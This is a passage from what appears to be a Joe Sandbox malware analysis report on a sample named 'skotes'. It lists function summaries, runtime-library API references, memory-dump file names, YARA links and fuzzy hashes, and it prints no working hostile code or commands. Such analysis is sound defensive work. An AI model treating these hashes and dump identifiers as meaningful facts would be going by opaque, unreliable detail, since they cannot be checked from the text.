Instruction Fuzzy Hash: 84312730B082556ECF56AA7858A27FFBBF59F41302F0401A9DC8DD7242DB244D4EE3A1

Function 00074C14 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00074C98
__alloca_probe_16.LIBCMT ref: 00074D5E
__freea.LIBCMT ref: 00074DCA

Part of subcall function 0006B04B: RtlAllocateHeap.NTDLL(00000000,73642F4C,?,L/ds,0004D3FC,L/ds,?,00047A8B,?,?,?,?,?,?,00037465,?), ref: 0006B07D

__freea.LIBCMT ref: 00074DD3
__freea.LIBCMT ref: 00074DF6

Strings

L/ds, xrefs: 00074C1B

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: L/ds
API String ID: 1423051803-185251681
Opcode ID: 60b094e0df6dc6d36d2f68b255df355fefbc60e518ced8db3ca600a896ea5953
Instruction ID: 19a76371f29acad98987a1d303ed979759e5c21a52356ec21e6e7c07f0b07fd6
Opcode Fuzzy Hash: 60b094e0df6dc6d36d2f68b255df355fefbc60e518ced8db3ca600a896ea5953
Instruction Fuzzy Hash: 7451B4B2E00216AFEB715F54DC81EFF3AEADB85750F158129FD0897142EB38DC508A64

Function 0005DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 0005DD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 0005DDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 0005DE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 0005DE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 0005DE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 0005DE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 0005DE74

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: d436ca4b046a4be68b6859965d05cb12de7d3846f535572045c255847187f49e
Instruction ID: 065ef246723cbb20a7b01290c7b2bfe0db7958274f151da1ea7adf4ecd589650
Opcode Fuzzy Hash: d436ca4b046a4be68b6859965d05cb12de7d3846f535572045c255847187f49e
Instruction Fuzzy Hash: D641BC70A042449ADF28FBA084567EE7BB56F11706F0440ABEC856B2C3DB748E0CCB62

Function 0005E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0005E7D7

Part of subcall function 0005E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0005E577
Part of subcall function 0005E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0005E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0005E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0005E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0005E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0005E879
Concurrency::location::_Assign.LIBCMT ref: 0005E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0005E8B5

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 94f004f76e516968b437f2e5d5cd2bc48b327ed510e32f85cff352f047adc2af
Instruction ID: 2cde9ddce4c0ed94b315f06d8e9e712b3cad2ca84262006d52b5d04f6798c0d8
Opcode Fuzzy Hash: 94f004f76e516968b437f2e5d5cd2bc48b327ed510e32f85cff352f047adc2af
Instruction Fuzzy Hash: 5A415935A00204DFDF04EF64C884AAEB7B5FF48311F1480A9DD899B382DB34AA45CF91

Function 000544DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00054538
ListArray.LIBCONCRT ref: 0005456C
Hash.LIBCMT ref: 000545D5
Hash.LIBCMT ref: 000545E5

Part of subcall function 00059C41: std::bad_exception::bad_exception.LIBCMT ref: 00059C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0005474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 000547A4

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: ac8211781ed95e58525f27fcf5d74a4c604550cb1517d8c8c27ca974af4aa6b6
Instruction ID: 2fa631f31aae4e14b997babd8f9db4ddc823acb7c28a4bde97f66f3d6cdbd3af
Opcode Fuzzy Hash: ac8211781ed95e58525f27fcf5d74a4c604550cb1517d8c8c27ca974af4aa6b6
Instruction Fuzzy Hash: BB8153B0A11B52FAD708DF74C845BDAFAA8BF09705F10421AF528D7281DBB4A664CBD1

Function 0004EE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0004EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0004EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0004EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0004EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0004EF31

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
